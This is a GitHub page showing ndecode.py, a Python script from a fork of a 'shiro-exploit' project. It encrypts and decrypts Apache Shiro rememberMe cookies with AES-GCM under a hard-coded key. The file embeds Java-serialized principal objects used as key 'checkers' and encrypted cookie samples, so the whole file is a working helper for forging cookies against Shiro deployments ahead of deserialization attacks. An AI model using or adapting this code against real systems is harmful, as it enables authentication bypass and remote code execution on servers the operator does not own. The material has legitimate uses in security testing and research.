forked from Ares-X/shiro-exploit
-
Notifications
You must be signed in to change notification settings - Fork 2
/
ndecode.py
42 lines (38 loc) · 5.15 KB
/
ndecode.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import os,base64,uuid
from Crypto.Cipher import AES
key='zSyK5Kp6PZAAjlT+eeNMlg=='
de="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"
checker="rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AC5jb20uamVlY21zLmNvcmUuc2VjdXJpdHkuQ21zQXV0aG9yaXppbmdSZWFsbV8wc3IAF2phdmEudXRpbC5MaW5rZWRIYXNoU2V02GzXWpXdKh4CAAB4cgARamF2YS51dGlsLkhhc2hTZXS6RIWVlri3NAMAAHhwdwwAAAAQP0AAAAAAAAF0AAVhZG1pbnh4AHcBAXEAfgAFeA=="
checkerjava="rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAhpbmlSZWFsbXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAABdAAFYWRtaW54eAB3AQFxAH4ABXg="
de2="Y5j/skXpD2ABvTtyGc0OdCaUZbFCC+qWgyl96yso9xnPbbO6vs2UHoXMQWTovL6FHGgAgBQJvBb2+aOA/dmNp17U+KbXYQajDX9invl5USQq9frsbG9AmZYasltS8tqBSc7wH6TXBS+2exuzWx+/U56xGwAmtkThO9HDWTvQtR35aygg0JOA+vkGzS/PIhAAEfLI4kumPHncLl6WPuQeSN7HQbBtYJpzzxjz6jjiQchbNARJ+2aV8Mt1PGXD6+2f3nub/LTdRpC7R5pqnoxIWzpGuagL5m+6eppMyHNkkuuGJMkiVvYKtXToM+HXisYywyziO8wBfL32RCEFonE+loEJi1GPczPW5daJUB4Zcp2HIMbYZTkpRkcT8iJRjJUYcCjSjl3f118zQAtNHZpsuy18B/n9dY41NRduJKHeh2On2jQWSw2JU1douSr9yDC+W6u71RRzDWOSK6A1n6gOaQgmJrWZscJOhiVKoRNjLMRBQSsrcM1jMghpOXF4Zt52Ug=="
def decode(s):
global key
BS = AES.block_size
mode = AES.MODE_GCM
cipher=base64.b64decode(s)
iv=cipher[0:16]
enc=cipher[16:-16]
tag=cipher[-16:]
decryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext=decryptor.decrypt_and_verify(enc,tag)
print("decode_plaintext:")
print(plaintext)
base64_plaintext=base64.b64encode(plaintext).decode()
print ("\nbase64_plaintext:\n"+base64_plaintext+"\n")
return base64_plaintext
def encode(p):
global key
BS = AES.block_size
mode = AES.MODE_GCM
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body=base64.b64decode(p)
enc,tag=encryptor.encrypt_and_digest(file_body)
base64_ciphertext = base64.b64encode(iv + enc+tag)
print("Encode_result:")
print(base64_ciphertext)
print("\n")
return base64_ciphertext
if __name__ =='__main__':
encode(checkerjava)
decode(de2)